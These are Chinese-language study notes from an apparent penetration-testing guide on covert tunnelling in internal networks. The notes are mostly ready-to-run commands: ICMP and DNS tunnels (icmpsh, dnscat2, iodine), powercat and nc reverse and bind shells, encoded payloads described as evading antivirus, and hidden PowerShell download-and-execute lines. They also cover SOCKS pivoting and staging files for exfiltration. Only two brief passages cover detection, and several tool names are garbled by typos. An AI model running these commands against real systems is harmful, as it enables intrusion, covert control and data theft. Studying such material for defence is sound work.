内网安全攻防:渗透测试指南——第3章 隐藏通信隧道技术
第三章——隐藏通信隧道技术
目录
1.网络层隧道
1.pingtunnel
1.在web边界服务器上下载并运行ptunnel
-
http://freshmeat.sourceforge.net/projects/ptunnel
-
ptunnel -x pass
-
-
-×指定icmp隧道连接验证密码
-
-lp指定要监听的本地tcp端口
-
-da指定要转发到的机器的ip地址
-
-dp指定要转发到的机器的tcp端口
-
-p指定icmp隧道另一端机器的ip地址
2.在vps上运行ptunnel
ptunnel -p 192.168.0.8 -lp 1080 -da 1.1.1.10 -dp 3389 -x pass
3.在win7电脑上远程连接vps的1080端口
2.icmpsh
vps
-
git clone https://github.com/inquisb/icmpsh.git
-
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭系统Ping命令应答,使用完后改为0
-
cd icmpsh
-
pip install impacket
-
./icmpsh_m.py 192.168.0.11 192.168.0.8 #192.168.0.11为本机攻击ip地址,192.168.0.8是目标的公网ip地址
-
#可以使用ping vpsip地址,tcpdump icmp来获取目标机器的公网ip
目标机器
icmpsh.exe -t 192.168.0.11 -d 500 -b 30 -s 128
3.防御ICMP隧道攻击的方法
- 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而是要ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
- 注意那些Payload大于64bit的ICMP数据包
- 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包
- 检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP Payload前面添加“TUNL"标记来标识隧道
2.传输层隧道
1.lcx端口转发
-
A.内网端口转发
-
目标机器:lcx.exe -slave公网主机ip 4444 127.0.0.1 3389
-
VPS: lcx.exe -listen 4444 5555
-
-
B.本地端口映射
-
lcx -tran 53目标主机ip 3389
2. nc
-
A.安装LINUX:
-
sudo yum install nc.x86_64
-
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
-
-
WINDOwsS:
-
Nc:https://joncraton.org/files/nc111nt.zip
-
Nc_safe:https://joncraton.org/files/nc111nt_safe.zip
3.powercat
kali | 192.168.0.11 |
win10 | 1.1.1.14 192.168.0.14 |
win2012 | 1.1.1.8 |
1.nc正向连接powercat
-
┌──(kali㉿kali)-[~]
-
└─$ nc 192.168.0.14 8080 -vv
-
-
-
win10
-
PS C:\> Import-Module .\powercat.ps1
-
PS C:\> powercat -l -p 8080 -e cmd.exe -v
2.nc反向连接powercat
-
┌──(kali㉿kali)-[~]
-
└─$ nc -lp 8080 -vv
-
-
windows10:
-
PS C:\> powercat -c 192.168.0.11 -p 8080 -v -e cmd.exe
3.通过powercat返回powershell
-
Windows2012:
-
PS C:\> IEX (NEW-Object Net.WebClient).DownloadString('http://1.1.1.6/powercat.ps1')
-
PS C:\> powercat -l -p 9999 -v
-
-
-
-
windows10:
-
PS C:\> powercat -c 1.1.1.8 -p 9999 -v -ep
4.Powercat文件传输
-
Windows10下执行:
-
powercat -l -p 8080 -of C:\Users\Public\Downloads\test.txt
-
-
Windows Server 2012:
-
PS C:\> powercat -c 1.1.1.14 -p 8080 -i c:\test.txt -v
5.powercat生成Payload(躲避杀软)
-
Windows10下执行:
-
powercat -l -p 8080 -e cmd -v -g >> shell.ps1
-
-
将生成的shell.ps1拿到Windows server 10下
-
./shell.ps1
-
PS:也可以使用-ge生成编码后的脚本,然后直接使用Powershell -E shellcode执行。
6.Powercat - DNS协议(DNSCAT)
-
Kali下执行:
-
┌──(kali㉿kali)-[~]
-
└─$ cd /home/kali/Downloads/dnscat2/server
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# proxychains gem install bundler
-
┌──(kali㉿kali)-[~/Downloads/dnscat2/server]
-
└─$ bundle install
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# ruby dnscat2.rb lab.test -e open --no-cache
-
dnscat2> session -i 1
-
-
-
Windows 10下执行:
-
powercat -c 192.168.0.11 -p 53 -dns lab.test -e cmd.exe
7.Powercat作为跳板
-
Windows Server 2012:
-
PS C:\> powercat -l -v -p 9999 -e cmd.exe
-
Windows 10:
-
powercat -l -v -p 8000 -r tcp:1.1.1.8:9999
-
Kali下执行:
-
nc 192.168.0.14 8000 -vv
-
-
场景七: Powercat转发(DNS)
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# ruby dnscat2.rb lab.test -e open --no-cache
-
-
Windows 10:
-
PS C:\> powercat -l -p 8080 -r dns:192.168.0.11::lab.test
-
-
Windows Server 2012:
-
PS C:\> powercat -c 1.1.1.14 -p 8080 -e cmd.exe -v
3.应用层协议
SSH协议
-
ssh root@192.168.0.8
-
-C 压缩传输,提高传输速度
-
-f 将SSH传输转入后台运行,不占用当前的shell
-
-N 建立静默连接(建立了连接,但看不到具体会话)
-
-g 允许远程主机连接本地用于转发的端口
-
-L 本地端口转发
-
-R 远程端口转发
-
-D 动态转发(SOCKS代理)
-
-P 指定SSH端口
1.本地转发
以web服务器为跳板,将内网数据库服务器1.1.1.10的3389端口映射到VPS192.168.0.11的1153端口,再次访问vps1153端口,就能访问数据库服务器的3389端口
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# ssh -CfNg -L 1153:1.1.1.10:3389 kali@192.168.0.8 130 ⨯
-
kali@192.168.0.8's password:
-
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# netstat -tulnp | grep "1153"
-
tcp 0 0 0.0.0.0:1153 0.0.0.0:* LISTEN 5762/ssh
-
tcp6 0 0 :::1153 :::* LISTEN 5762/ssh
-
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# rdesktop 127.0.0.1:1153
2.远程转发(无边界设备,服务器kali连通外网)
以web服务器为跳板,将vps的3307端口流量转发到1.1.1.10的3389端口,然后访问vps的3307端口,就可以访问2008的3389端口
-
在web服务器1.1.1.5上执行
-
ssh -CfNg -R 3307:1.1.1.10:3389 kali@192.168.0.11
-
rdesktop 127.0.0.1:3307
3.动态转发
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# ssh -CfNg -D 7000 kali@192.168.0.8 255 ⨯
-
kali@192.168.0.8's password:
-
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# netstat -tulnp | grep "7000"
-
HTTP/HTTPS协议
-
将tnnel.jsp上传至目标服务器192.168.0.8
-
python reGeorgSocksProxy.py -u http://192.168.0.8/tunnel.jsp -p 9999
-
-
浏览器访问127.0.0.1:9999端口
DNS协议
dnscat2
使用dsan2隧道的模式有两种,分别是直连模式和中继模式。
- 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求,
- 中继模式: DNS经过互联网的送代解析,指向指定的DNS服务器。与直连模式相比,中dnscan2 通过DNS进行控制并执行命令。
与同类工具相比,drsa2具有如下特点
- 支持多个会话
- 流量加密
- 使用密钥防止MiTM攻击
- 在内存中直接执行PowerShell脚本
- 隐蔽通信
安装dnscat2
-
apt-get install gem
-
apt-get install ruby-dev
-
apt-get install libpq-dev
-
apt-get install ruby-bundler
-
-
apt-get install git
-
git clone https://github.com/iagox86/dnscat2.git
-
cd dnscat2/server
-
bundle init
-
bundle install
-
-
-
tucpdump -n -i ens4 udp dst port 53
-
nslookup nameserver
1.启动服务端
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# ruby dnscat2.rb lab.test -e open -c sec --no-cache
-
-
ruby dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=sec #直连模式
-
-
-c 定义了‘pre-shared secret',可以使用具有预共享密钥的身份验证机制来防止中间人攻击
-
-e 规定安全级别,‘open’表述服务端允许客户端不进行加密
-
--no-cache 禁止缓存,服务器运行时须添加该项。因为powershell-dnscat2客户端与dnscat2服务器的 Caching模式不兼容
2.在目标系统运行客户端
-
linux:
-
git clone https://github.com/iagox86/dnscat2
-
cd dnscat2/client/
-
make
-
-
-
-
windows:
-
dnscat2-v0.07-client-win32.exe --ping lab.test #测试是否能够通信
-
dnscat2-v0.07-client-win32.exe --dns domain=lab.test --secret=sec #连接服务端
-
-
dnscat --dns server=服务端ip,port=533,type=TEXT --secret=sec #直连模式
3.脚本加载运行dnscat2-powershell
-
PS C:\> Set-ExecutionPolicy unrestricted
-
PS C:\> Import-Module .\dnscat2.ps1
-
PS C:\> start-Dnscat2 -Domain lab.test --DNSServer 1.1.1.8
-
-
或者一句话执行
-
powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/ dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain [domain] --DNSServer x.x.x.x}
-
exec psh
4.反弹shell
-
sessions 查看会话
-
session -i 1 进入1会话
-
shell 打开另一个会话,进入交互模式
-
help 查看帮助
-
download 下载
-
ping
-
suspend 返回上一层
-
upload
-
shutdown 切断但钱会话
-
quit 退出dnscat2控制台
-
kill 切断通道
iodine
iodine可以通过一台DNS服务器制造一个IPv4 数据通道,特别适合在目标主机只能发送DNS 请求的网络环境中使用。iodine是基于C语言开发的,分为服务端程序 iodined和客户端程序 iodine。Kali Linux内置了iodine
与同类工具相比,iodine具有如下特点
- 不会对下行数据进行编码。
- 支持多平台,包括 Linux、BSD、Mac OS、 Windowso·支持16个并发连接。
- 支持强制密码机制。
- 支持同网段隧道P地址(不同于服务器一客户端网段)。
- 支持多种 DNS记录类型
- 提供了丰富的隧道质量检测措施。
iodine支持直接转发和中继两种模式,其原理是:通过 TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同—个局域网(可以通过ping命令通信)。在客尸漏和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡
1.vps服务端
-
iodined -c -f -P 123456 192.168.0.1 servername -DD
-
-f 前台运行
-
-c 禁止检查所有传入请求客户端IP地址
-
-P 设置验证密码
-
-D 指定调试等级检查配置是否正确
-
https://code.kryo.se/iodine/check-it/检查iodine
linux客户端
-
┌──(root💀kali)-[/home/kali]
-
└─# iodine -f -P 123456 vpn.adccm.xyz -M 200
windows客户端
-
需要先安装openvpn添加一块网卡
-
iodine -f -P 123456 servername
DNS隧道攻击的防御
防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。
- 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
- 虽然没有人会将 IXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。
- 跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告
- 阻止ICMP
SOCKS代理
常见的网络场景有如下三类
- 服务器在内网中,可以任意访问外部网络。
- 服务 器在内网中,可以访向外部网络,但服务器安装了防火墙拒绝敏感端口的连接。
- 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。
常用SOCKS代理工具
SOCKS是一一种代理服务,可以简单地将一端的系统连接另端。SOCKS支持多种协议包括HTTP、FTP等。SOCKS分为SOCKS4和SOCKS 5两种类型,SOCK4只支持TCP协议,SOCKS 5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口义只支持1080。SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。SOCKS代理其实可理解为增强版的lcx。它在服务端监听-个服 务端口,当有新的连接请求
出现时,会先从SOCKS协议中解析出目标的URL和目标端口,再执行lex的具体功能。
1. EarthWorm
EarthWorm(EW )是一套便携式的网络工具,具有SOCKSs服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透。EW能够以正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统( Linux、Windows、 Mac OS、ARM-Linux 均包含在内)。6种命令格式(ssocksd、 rcsocks. rssocks. Icx_ slave、 Icx_ listen、 Icx_ tran)
1.正向SOCKS5服务器
-
┌──(root💀kali)-[/var/www/html/release]
-
└─# ./ew_linux_x64 -s ssocksd -l 1090 #适用于一个有外网IP的情况,此处使用边界服务器
2.反弹SOCKS v5服务器
-
vps: C:\>ew_win32.exe -s rcsocks -l 1008 -e 888
-
内网机器: ew -s rssocks -d vpsip -e 888
3.二级网络环境a
-
内网中的机器B: ew -s ssocksd -l 888
-
边界服务器A: ew -s lcx_tran -l 1080 -f A主机公网ip -g 888 #将1080端口收到的代理请求转发给内网中的机器B的888端口
4.二级网络环境b
-
A主机无公网ip,也无法访问内网。B主机可以访问内网,无法访问外网
-
-
VPS: ew -s lcx_listen -l 1080 -e 888 #在公网vps中添加转接隧道,将1080端口接收到的请求转发给888端口
-
-
主机B: ew -s ssocked -l 999 #ssocked方式启动999端口的socks代理
-
-
主机A: ew -s lcx_slave -d vpsip -e 888 -f A主机IP -g 999 #在A主机上利用lcx_slave方式,将vps的888端口和B主机的999端口连接起来
2.reGeorg
rcGcorg 是reDuh的升级版,主要功能是把内网服务器的端口通过HTPHITS隧道转发到本机,形成一个回路。reCorg 可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。rcGcorg 利用WstSll建立一个SOCKS代理进行内网穿透,服务必须支持ASPX、PHP、JSP中的一种。
3. sSocks
sSocks是个SOCKS代理工具套装,可用来开启soCKs代理服务。sokes支持SOCKS5验证,支持IPv6和UDP,并提供反向soCKS代理服务(将远程计算机作为SOCKS代理服务端反弹到本地)。
4. SocksCap64
SocksCap64是一款在 Windows环境中相当好用的全局代理软件,SocksCap64可以使Windows应用程序通过SOCKS 代理服务器来访问网络,而不需要对这些应用SOKS 代理的应用程序,也可以通过SoksCap64程序进行任何修改。即使是那些本身不支持实现代理访问
5. Proxifier
Provifer也是一软非常好用的全局代理软件,Posifir 提供了跨平台的转发和代理功能,适用于Windows、Linux、 MacOS平台
6. ProxyChains
ProxyChains是一款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器
压缩
1.RAR
-
-a: 添加要压缩的文件
-
-k: 锁定压缩文件
-
-s: 生成存档文件(这样可以提高压缩比)。
-
-P: 指定压缩密码。
-
-r: 递归压缩,包括子目录。
-
-x: 指定要排除的文件。
-
-v: 分卷打包,在打包大文件时用处很大。
-
-ep: 从名称中排除路径。
-
-epl: 从名称中排除基本目录。
-
-m0: 存储,添加到压缩文件时不压缩文件。
-
-ml: 最快,使用最快压缩方式(低压缩比)。
-
-m2: 较快,使用快速压缩方式。
-
-m3: 标准,使用标准压缩方式(默认)。
-
-m: 较好,使用较强压缩方式(速度较慢)。
-
-m5: 最好,使用最强压缩方式(最好的压缩方式,但速度最慢)。
1.以RAR格式压缩/解压
将E:\webs\ 目录下的所有内容(包括子目录)打包为1.rar,放到E:\webs\目录
-
Rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs
-
Rar.exe e E:\webs\1.rar
-
e:解压到当前目录下
-
x:以绝对路径解压
-
zip同理
2.分卷压缩/解压
-
Rar.exe a -m0 -r -v20m E:\test.rar E:\API
-
分卷压缩E盘API目录下的所有文件及文件夹(-r使用递归压缩)设置每个分卷为20MB,结构为test.part1.rar...
-
-
-
Rar.exe x E:\test.part01.rar E:\test #解压
7zip
-
-r 递归压缩
-
-o 指定输出目录
-
-p 指定密码
-
-v 分卷压缩
-
a 添加压缩文件
1.普通压缩/解压方式
-
7z.exe a -r -p12345 E:\webs\1.7z E:\webs #压缩
-
7z.exe x -p12345 E:\webs\1.7z -oE:\X
2.分卷压缩
-
7z.exe -r -vlm -padmin a E:\test.7z E:\API
-
7z.exe x -padmin E:\test.7z.001 -oE:\x
上传和下载
1.利用FTP协议上传
-
本地或者vps搭建ftp服务器
-
-
常用的FTP命令列举如下,
-
open<服务器地址>:连接服务器
-
-
cd<目录名>:进入指定目录。
-
lcd<文件夹路径>:定位本地文件夹(上传文件的位置或者下载文件的本地位置)。
-
type:查看当前的传输方式(默认为ASCII码传输)。
-
ascil:设置传输方式为ASCII码传输(传输TXT等格式的文件)。
-
binary:设置传输方式为二进制传输(传输EXE文件,以及图片、视音频文件等)。
-
close:结束与服务器的FTP会话。
-
quit:结束与服务器的FTP会话并退出FTP环境。
-
put<文件名> [newnamel:上传。"newname"为保存时的新名字,若不指定将以原名保存。
-
send<文件名> [newname]:上传。"newname为保存时的新名字.若不指定将以原名保存。
-
get<文件名> [newname]:下载。newname为保存时的新名字,若不指定将以原名保存。
-
mget filename filename..]:.下载多个文件。mget 命令支持空格和“?”两个通配符,例如“mget.mp3”表示下载FTP服务器当前目录下所有扩展名为“mp3”的文件
2.利用VBS上传
-
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
-
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
-
echo Post.Open "GET","ip/文件",0 >>download.vbs
-
echo Post.Send() >>download.vbs
-
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
-
echo aGet.Mode = 3 >>download.vbs
-
echo aGet.Type = 1 >>download.vbs
-
echo aGet.Open() >>download.vbs
-
echo aGet.Write(Post.responseBody) >>download.vbs
-
echo aGet.SaveToFile " 下载到的位置",2 >>download.vbs
-
-
最后
-
Cscript download.vbs
3.利用nishang上传
Download Excule是Nishang中的下载执行脚本,常用于下载文本文件并将其转换为EXE文件。使用Nishang上传文件的原理是:利用Nishang将上传的EXE文件转换为十六进制的形式,然后使用echo命令访问目标服务器,最后使用Download Exccute脚本下载文本文件并将其转换为EXE文件。
在这里,需要使用echo命令将Nishang PowersShell脚本的内容上传到目标服务器中,并将执行以下命令,利用Nishang中的exetolext.psl脚本将由Metasploit生成的msf.exe修改为文本文件msf.txt
.\ ExetoText c: msf.exe c: msf.txt
接着,通过echo命令,先将转换的HEX值添加到目标文件中,再将Nishang脚本文件的内容添加到目标文件中。最,输人如下命令,调用Dowlad Excule脚本下载并执行该文本文件。
Download_Execute http://192.168.0.11/msf.txt
4.bitadmin下载
bitsadmin /transfer 111 ip/file 下载到的路径 #win7以上版本
5.powershell下载
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('ip/文件','下载文件路径');